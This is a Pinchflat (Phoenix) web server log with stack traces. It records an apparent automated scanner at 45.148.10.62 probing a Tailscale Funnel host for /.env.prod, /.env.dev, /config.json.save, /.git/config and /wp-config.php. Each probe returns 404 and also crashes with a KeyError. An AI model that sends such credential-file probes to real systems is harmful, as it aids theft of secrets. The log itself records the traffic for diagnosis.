#PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3192.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdY6Tl17yZgAAAPYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, s (truncated) 23:35:18.673 [info] GET /.env.dev 23:35:18.674 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=373.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.675 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=246.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.675 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:18.676 [error] #PID<0.3193.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 26) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.dev ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3193.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdZXfZWVbgG8AAPZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3193.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdZXfZWVbgG8AAPZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {P (truncated) 23:35:18.788 [info] GET /config.json.save 23:35:18.789 [debug] QUERY OK source="settings" db=0.5ms idle=360.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.790 [debug] QUERY OK source="settings" db=0.3ms idle=237.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.790 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:18.791 [error] #PID<0.3194.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 27) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.json.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3194.0>, params: %{}, path_info: ["config.json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.json.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdZy8lifpxmAAAPaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3194.0>, params: %{}, path_info: ["config.json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.json.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdZy8lifpxmAAAPaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, route (truncated) 23:35:18.945 [info] GET /.git/config 23:35:18.946 [debug] QUERY OK source="settings" db=0.4ms idle=271.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.946 [debug] QUERY OK source="settings" db=0.1ms idle=271.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.946 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:18.947 [error] #PID<0.3195.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 28) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3195.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdaYQwaZoejUAAPbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3195.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdaYQwaZoejUAAPbB"} (truncated) 23:35:19.079 [info] GET /wp-config.php 23:35:19.080 [debug] QUERY OK source="settings" db=0.2ms idle=290.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.080 [debug] QUERY OK source="settings" db=0.1ms idle=290.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.080 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:19.081 [error] #PID<0.3196.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 29) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /wp-config.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 29, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3196.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcda4YjUgSVOoAAPcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: 